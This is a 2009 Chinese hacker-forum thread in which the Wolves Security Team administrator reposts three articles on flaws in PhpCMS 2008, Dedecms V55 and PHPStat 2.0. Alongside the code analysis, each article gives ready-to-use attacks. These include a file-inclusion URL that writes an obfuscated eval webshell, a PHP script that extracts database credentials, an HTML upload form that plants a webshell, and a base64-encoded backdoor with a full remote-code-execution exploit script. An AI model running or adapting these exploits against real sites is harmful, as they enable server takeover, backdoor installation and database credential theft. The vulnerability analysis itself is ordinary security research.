Wolves Security Team

Unfortunately no one can be told what W.S.T is - you have to see it for yourself.

You are not logged in.

Announcement

欢迎cnryan同学加入狼族:-)

Follow Wolves Security Team Official Google Buzz!

#1 2009-12-23 09:29:31

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

今年写的几篇老文

已经发表在《黑客防线》,转载请署名版权,谢谢

Offline

#2 2009-12-23 09:32:37

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

Re: 今年写的几篇老文

PhpCMS一个漏洞的二次利用

Flyh4t [bbs.wolvez.org]

    PhpCMS历来以漏洞多著称,其2008版本继承了之前版本的光荣传统,存在各种危害程度不同的漏洞。下面我们来看一个已经在后期更新中补掉的本地文件包含漏洞,但是该漏洞的利用方式还是比较有意思的。   
漏洞代码很简单,相信很多人都看到了。

--------------------------------------------------------------------------------------------------------------------
// pay/respond.php
<?php
require './include/common.inc.php';
$pay_code = !empty($code) ? trim( $code ) : "";//$pay_code没过滤
if ( empty( $pay_code ) )
{
    showmessage('校验失败');
}
else
{
    $plugin_file = PHPCMS_ROOT.'pay/include/payment/'.$pay_code.'.php';
    if (is_file($plugin_file))
    {
        include_once( $plugin_file );//产生本地文件包含漏洞
----------------------------------------------------------------------------------------------------------------------

很多同学看到这个地方,也许会觉得很鸡肋。无论是采用上传图片包含的办法还是直接包含日志,都需要用%00或者若干[/////]截断后面的.php,而这个都对php.ini或者系统有一定要求。事实上不是这样的,结合phpcms自身的其他缺陷,我们很可以通过二次攻击将这个本地文件包含漏洞的威力放到,下面我给出两个利用的思路。

利用方式一:绕过后台认证,转化为代码执行漏洞
细心读过phpcms2008早期版本代码的朋友应该都发现了(现在最新版本的貌似改过了),它的后台登陆认证都是在admin.php文件中实现的,然后通过下面这样的代码包含admin目录下的文件实现其他复杂的管理用能

-------------------------------------------------------------------------------------------------
if(!@include PHPCMS_ROOT.(isset($M['path']) ? $M['path'] : '').'admin/'.$file.'.inc.php') showmessage("The file ./{$M['path']}admin/{$file}.inc.php is not exists!");
-------------------------------------------------------------------------------------------------

为了不让非管理员用户访问admin目录下的相关文件,该目录下所有文件的开头采用了如下的代码来做处理,并没有做权限认证。

-------------------------------------------------------------------------------------------------
<?php
defined('IN_PHPCMS') or exit('Access Denied');
------------------------------------------------------------------------------------------------

   有了这段代码,我们基本上没办法直接访问了。IN_PHPCMS这个常量是在文件/include/common.inc.php中定义的,代码如下

------------------------------------------------------------------------------------------------
<?php
define('PHPCMS_ROOT', str_replace("\\", '/', substr(dirname(__FILE__), 0, -7)));
define('MICROTIME_START', microtime());
define('IN_PHPCMS', TRUE); 
------------------------------------------------------------------------------------------------

   而在产生漏洞的respond.php文件,第一行就包含了/include/common.inc.php文件,这样的话,理论上我们直接利用该本地文件包含漏洞包含admin目录下的文件,就可以直接使用后台的管理功能了。但是实际利用的时候,我们还要考虑后台文件中可能有些函数是调用的admin.php文件中的,所以我们有可能会遇到未定义函数的错误,但是在Phpcms中我们幸运的避免了这个问题。看代码:

------------------------------------------------------------------------------------------------
// admin/template.inc.php
<?php
defined('IN_PHPCMS') or exit('Access Denied');

//引入模版函数文件
if($action != 'tag' && $action != 'preview') require_once 'template.func.php';

//初始化一堆变量
if(!$forward) $forward = HTTP_REFERER;
$module = isset($module) ? $module : 'phpcms';
$project = isset($project) ? $project : TPL_NAME;
$templatedir = TPL_ROOT.$project.'/'.$module.'/';
$projects = cache_read('name.inc.php', TPL_ROOT); 
//common.inc.php已经包含了定义过cache_read的文件了
$projectname = $projects[$project] ? $projects[$project] : $project;
$names = cache_read('name.inc.php', $templatedir);
$variable = array('0'=>'请选择类型','PHPCMS'=>'$PHPCMS', 'CATEGORY'=>'$CATEGORY', 'MODULE'=>'$MODULE','MODEL'=>'$MODEL', 'member'=>'用户变量');
$action = $action ? $action : 'manage';

switch($action)
{
    case 'add':
        /*
        省略一段无关代码
        */

    case 'edit':
        if(!isset($template)) showmessage('参数错误!');

        $filename = $template.'.html';
        $filepath = $templatedir.$filename;
        $templatenames = include TPL_ROOT.$project.'/'.$module.'/'.'name.inc.php';
        if(!is_writeable($filepath)) showmessage('模板目录 '.$filepath.' 不可写!请先通过FTP设置为 777,再进行在线编辑。');
        if($dosubmit)
        {
            file_put_contents($filepath, new_stripslashes($content));
            template_compile($module, $template);
            //template.func.php中定义过template_compile函数
            $names[$filename] = $templatename;
            cache_write('name.inc.php', $names, $templatedir);
            //common.inc.php中包含了定义cache_write函数的文件
            showmessage('模板修改成功!', $forward);
        }
------------------------------------------------------------------------------------------------

基于以上的代码分析,我们可以利用该文件来直接修改模版,根据phpcms的模版引擎写入一段可以getwebshell的代码到模版文件中,然后通过前台触发执行写入代码的模版。利用方式如下:

------------------------------------------------------------------------------------------------
1、注册一个用户
2、访问如下连接
/pay/respond.phpay/respond.php?code=../../../admin/template.inc&action=edit&template=rss&save=1&referer=&template=rss&project=default&module=phpcms&templatename=网站首页&addtag=0&tagname=请输入标签名&content={php fputs(fopen(chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));}&selectmodule=phpcms&variable=PHPCMS&dosubmit= 保存
3、访问/rss.php
4、后门在data/cache/a.php 密码是a
------------------------------------------------------------------------------------------------

利用方式二:获取数据库连接信息

这个方法利用了install目录下的文件 step6.tpl.php,代码如下:

------------------------------------------------------------------------------------------------
<?php include PHPCMS_ROOT.'install/header.tpl.php';?>
<div class="content">
<form id="install" name="myform" action="install.php?" method="post">
<table width="100%" cellspacing="1" cellpadding="0" >
<caption>填写数据库信息</caption>
<tr>
<th width="30%" align="right" >数据库服务器:</th>
<td><label>
  <input name="dbhost" type="text" id="dbhost" value="<?=DB_HOST?>" size="20" />
</label></td>
</tr>
<tr>
<th align="right">数据库帐号:</th>
<td><input name="dbuser" type="text" id="dbuser" value="<?=DB_USER?>" size="20" /></td>
</tr>
<tr>
<th align="right">数据库密码:</th>
<td><input name="dbpw" type="password" id="dbpw" value="<?=DB_PW?>" size="20" /></td>
</tr>
<tr>
<th align="right">数据库名称:</th>
<td><input name="dbname" type="text" id="dbname" value="<?=DB_NAME?>" size="20" /></td>
</tr>
<tr>
<th align="right">数据表前缀:</th>
<td><input name="tablepre" type="text" id="tablepre" value="<?=DB_PRE?>" size="20" />  <img src="install/images/help.png" style="cursor:pointer;" title="如果一个数据库安装多个phpcms,请修改表前缀" align="absmiddle" />
<span id='helptablepre'></span></td>
</tr>
------------------------------------------------------------------------------------------------

DB_HOST等常量是定义在config.inc.php中的

------------------------------------------------------------------------------------------------
<?php
//数据库配置信息
define('DB_HOST', 'localhost'); //数据库服务器主机地址
define('DB_USER', 'root'); //数据库帐号
define('DB_PW', ''); //数据库密码
define('DB_NAME', ''); //数据库名

------------------------------------------------------------------------------------------------

而include/common.inc.php 包含了config.inc.php,通前面所说的pay/respond.php包含了include/common.inc.php文件,所以只要利用该本地文件包含漏洞包含step6.tpl.php即可获取所有的数据库信息。附exp如下

------------------------------------------------------------------------------------------------
<?php
print_r('
+---------------------------------------------------------------------------+
Phpcms2008 datebase credentials disclosure exploit
by Flyh4t
mail: flyh4t@hotmail.com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
');
$host ='127.0.0.';
$path = '/';
$cookie='PHPSESSID=8bbf19296904d6d352ebedb9a54933a3; TltHydfofMauth=UD0CDgFXVQAEWAMMWABQBwUPBVVSAFxRDQ0GVldbBA8ADQ%3D%3D; TltHydfofMcookietime=0';
$message="GET ".$path."pay/respond.php?code=../../../install/step6.tpl HTTP/1.1\r\n";
$message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$message.="Accept-Language: zh-cn\r\n";
$message.="Accept-Encoding: gzip, deflate\r\n";
$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$message.="Host: $host\r\n";
$message.="Cookie: $cookie\r\n";
$message.="Connection: Close\r\n\r\n";
//echo $message;
$fd = fsockopen($host,'80');
if(!$fd)
{
    echo '[~]No response from'.$host;
    die;
}
fputs($fd,$message);
$resp = '';
while (!feof($fd)) {
    $resp.=fgets($fd);
}
fclose($fd);
//echo $resp;
preg_match('/id=\"dbhost\" value=\"(.*)\"( size)/',$resp,$dbhost);
preg_match('/id=\"dbname\" value=\"(.*)\"( size)/',$resp,$dbname);
preg_match('/id=\"dbuser\" value=\"(.*)\"( size)/',$resp,$dbuser);
preg_match('/id=\"dbpw\" value=\"(.*)\"( size)/',$resp,$dbpw);
preg_match('/id=\"tablepre\" value=\"(.*)\"( size)/',$resp,$tablepre);
preg_match('/id=\"password_key\" size=\"20\"  value=\"(.*)\"\//',$resp,$password_key);

if($dbhost[1]&$dbname[1]&$dbuser[1])
print_r("
[+]get the config! :)
[+]数据库服务器:$dbhost[1]
[+]数据库名称:$dbname[1]
[+]数据库帐号:$dbuser[1]
[+]数据库密码:$dbpw[1]
[+]数据库表前缀:$tablepre[1]
[+]接口密钥:$password_key[1]
");
else die('[~]exploited fail :(');
?>
------------------------------------------------------------------------------------------------

这个漏洞已经修补过一段时间了,这里写出来只是讨论一些利用的思路,如果你还有更好的利用方式,欢迎和我交流。

Offline

#3 2009-12-23 09:35:56

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

Re: 今年写的几篇老文

Dedecms V55一个变量未初始化漏洞的深入利用
Flyh4t [bbs.wolvez.org]
    近日Dedecms V55 发布了,姑且不论功能和可用性是否增强,安全性依旧如前期版本一样不容乐观。本文就简单的分析一个由变量未初始化造成安全漏洞。
漏洞发生在include\dialog\select_soft_post.php文件,这个文件正常情况下是只有管理员登陆后才能访问的,但是很不幸的是$cfg_basedir没有正确初始化,导致我们可以绕过身份认证和系统变量初始化文件,最终可以成功上传任意文件到指定目录。看代码:

--------------------------------------------------------------------------------------------------------------------
<?php
if(!isset($cfg_basedir))
//在php全局变量打开的时候我们可以帮助系统初始化$cfg_basedir,从而绕过身份认证文件//config.php
{
    include_once(dirname(__FILE__).'/config.php');
}
if(empty($uploadfile)) $uploadfile = '';
if(empty($uploadmbtype)) $uploadmbtype = '软件类型';
if(empty($bkurl)) $bkurl = 'select_soft.php';
$newname = ( empty($newname) ? '' : ereg_replace("[\\ \"\*\?\t\r\n<>':/|]", "", $newname) );
//$uploadfile、$uploadmbtype、$newname我们均可以控制

if(!is_uploaded_file($uploadfile))
{
    ShowMsg("你没有选择上传的文件或选择的文件大小超出限制!", "-1");
    exit();
}

$cfg_softtype = $cfg_softtype.'|'.$cfg_imgtype.'|'.$cfg_mediatype;
$cfg_softtype = str_replace('||', '|', $cfg_softtype);
//$cfg_softtype代表允许上传的文件类型,我们可以指定为php

$uploadfile_name = trim(ereg_replace("[ \r\n\t\*\%\\/\?><\|\":]{1,}",'',$uploadfile_name));
if(!eregi("\.(".$cfg_softtype.")", $uploadfile_name))
{//这段要注意绕过,ShowMsg为未定义函数
    ShowMsg("你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!","-1");
    exit();
}

$nowtme = time();
if($activepath==$cfg_soft_dir)
{//这段要注意绕过,否则将造成未定义函数错误,从而中断程序执行
    $newdir = MyDate($cfg_addon_savetype, $nowtme);
    $activepath = $activepath.'/'.$newdir;
    if(!is_dir($cfg_basedir.$activepath))
    {
        MkdirAll($cfg_basedir.$activepath,$cfg_dir_purview);
        CloseFtp();
    }
}

//文件名(前为手工指定, 后者自动处理,要进入前者,避开未定义函数错误)
if(!empty($newname))
{
    $filename = $newname;
    if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name);
    else $fs = explode('.', $filename);
    if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
    {//这段要注意绕过,ShowMsg为未定义函数
        ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
        exit();
    }
    if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{//不进入该过程
    $filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
    $fs = explode('.', $uploadfile_name);
    if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
    {
        ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
        exit();
    }
    $filename = $filename.'.'.$fs[count($fs)-1];
}

$fullfilename = $cfg_basedir.$activepath.'/'.$filename;
$fullfileurl = $activepath.'/'.$filename;
//在这里可以指定上传到的目录,成功将指定类型的文件上传到目录
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败!");
//后面的代码我们无需再关心,因为在文件已经成功上传
……
----------------------------------------------------------------------------------------------------------------------

代码里面注释的很清楚了,利用该漏洞需要register_globals = on,我们通过自定义一个表单为相关的变量赋值,最终即可成功达到上传可执行文件的目的。下面给出一个简单的利用工具:

----------------------------------------------------------------------------------------------------------------------

<HTML><HEAD><TITLE>Dedecms v55 Remote Arbitrary File Upload POC By Flyh4t</TITLE></HEAD>
<BODY style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t
---------- <br><br>
<form action=http://127.0.0.1/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br>
It's just a exp for the bug of Dedecms V55...<br>
Need register_globals = on...<br>
Fun the game,get a webshell at /data/cache/fly.php...<br>
</BODY>
</HTML>
----------------------------------------------------------------------------------------------------------------------

欢迎大家和我交流,我的msn 是flyh4t@hotmail.com

Offline

#4 2009-12-23 09:38:09

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

Re: 今年写的几篇老文

PHPStat 2.0 远程代码执行漏洞

Flyh4t [Wolvez.org]

PHPStat是一款专业的网站流量统计软件系统,提供网站日志分析、网站数据分析、用户行为分析系统,为客户提供深入挖掘的网站流量交叉数据报告.在访客行为分析,网络营销分析和网站决策支持方面有独特的分析体系,为客户找到数据背后的真实有价值的东西,拿出可执行性建议。该系统开发商普艾斯将自己定位为中国最专业的网站数据分析技术提供商,写出来的代码功能确实不错,但是安全性却非常差,漏洞处处可见。使用PHPStat统计的网站基本上可以被黑客秒杀。
   该系统绝大部分代码是zend加密的,解密后我们来看user_info.php 中普通用户修改统计网站的代码(新建的时候基本相似)

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
……
$fileStr .= "<?\nif( !defined('WEB_HOME') ) exit('Access Denied');\n";
                $fileStr .= "if( file_exists( \"../count/exclusion/website_\".\$websiteid.\"_regexp.php\")  )\n";
                $fileStr .= "include_once \"../count/exclusion/website_\".\$websiteid.\"_regexp.php\";\n";
                $fileStr .= "\n//统计网站地址\n";
                $fileStr .= "\$siteurl = \"".$_POST['site']."\";\n";
                $fileStr .= "\n//程序排除IP地址列表\n";
……
$fileStr .= "\$mainsitecode = \"".$Tmp[sitegroup]."\";\n";
                $fileStr .= "?>";
                if ( !file_exists( COUNT_DIRNAME."/exclusion/website_".$Tmp[website].".php" ) )
                {
                        write_to_file( COUNT_DIRNAME."/exclusion/website_".$Tmp[website].".php", "", "w+" );
                }
……
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

从以上代码可以看出,假设普通用户添加的网站编号为100003,则配置文件为
\count\exclusion\website_100003.php,内容格式如下所示:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<?
if( !defined('WEB_HOME') ) exit('Access Denied');
if( file_exists( "../count/exclusion/website_".$websiteid."_regexp.php")  )
include_once "../count/exclusion/website_".$websiteid."_regexp.php";

//统计网站地址
$siteurl = "http://127.0.0.1 ";

//程序排除IP地址列表

//程序包含目录地址列表

//程序所属主站点代码
$mainsitecode = "50";
?>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

从上面的代码可以看出,我们提交的siteurl会被写入php文件中并被双引号括起来。熟悉php的朋友应该明白了吧?利用双引号的特性,我们可以构造一个特殊的siteurl来写入文件并成功执行,我构造的siteurl如下:

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
http://${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4x))}}
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

上面这段代码是将 <?php @eval($_POST[a]); ?>1 到fl.php文件。利用base64_encode编码避免了使用单引号,所以无须考虑gpc的影响。注意,在字符串不包括 + \ =等特殊符号的情况下,base64_decode的参数是无须使用单引号或者双银引号的。
现在还剩下一个问题,文件开始的代码 if( !defined('WEB_HOME') ) exit('Access Denied'); 限制了我们直接触发这段小的shellcode,我们必须找到一个define了WEB_HOME的文件来包含之。PHPStat为我们提供了多个这样的文件我们继续看\templates\ms\common\top.php文件的部分代码,该文件是可以直接访问的。

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<?
    session_start();
    include_once '../../../include.inc/config.inc.php';
    include_once '../../../include.inc/function.php';
    include_once '../../../include.inc/function_pagerank.php';
    include_once '../../../include.inc/global.inc.php';
    include_once '../../../include.inc/conn.db.inc.php';
    include_once '../../../include.inc/pdo_page.inc.php';
    include_once '../../../parse_site.php';
    

    $website   = strtolower(strval($_GET[website]));
    $action    = strtolower(strval($_GET[action]));
    $websiteid = $website;
    $queryLimit = new queryLimit();
    if( strval($_GET[showtype] ) == 'all' ) $website = $website."&showtype=all";

    include_once "../../../".COUNT_DIRNAME."/exclusion/website_".$websiteid.".php";
//此处可以触发我们的代码
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

分析就到这里,下面给出exploit,做学习之用

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
<?php
print_r('
+---------------------------------------------------------------------------+
PHPStat 2.0 remote code execution exploit
by Flyh4t
+---------------------------------------------------------------------------+
');
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path website
Example: php '.$argv[0].' localhost /PHPStat2/ 100001
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$website = $argv[3];
$websiteid = $website - 100000;
$cookie = 'PHPStatCookie=PHPStat; PHPStatUser=flyh4t; PHPSESSID=16973668032f872c76a4bfe99bc9ee7a';
$cmd = 'sitename=flyh4t&website='.$website.'&sitedes=flyh4t&site=http%3A%2F%2F${${fputs(fopen(base64_decode(ZmwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4x))}}&websitetype=%D7%DB%BA%CF%C3%C5%BB%A7&siteshow=0&siterank=0&sitetype=0&exclusionip=&exclusioninter=&action=updatesite&websiteid='.$websiteid;
$shell = 'http://'.$host.$path.'templates/ms/common/fl.php';
send1($cmd);
send2();
if (!file_get_contents($url) && file_get_contents($shell) == '1')
    exit("Expoilt Success!\nView Your shell:\t$shell\n");
else 
    exit("Exploit Failed!\n");
    
function send1($cmd)
{
    global $host, $path, $website, $cookie;    
    $message = "POST ".$path."user_info.php?action=editsite&website=$website HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n";
    $message .= "Cookie: $cookie \r\n\r\n";  
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
}

function send2()
{
    global $host, $path, $website, $cookie;  
    $message = "GET ".$path."templates/ms/common/top.php?website=$website HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://$host$path\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Connection: Close\r\n";
    $message .= "Cookie: $cookie \r\n\r\n";  
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    }
?>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Offline

Board footer

Powered by FluxBB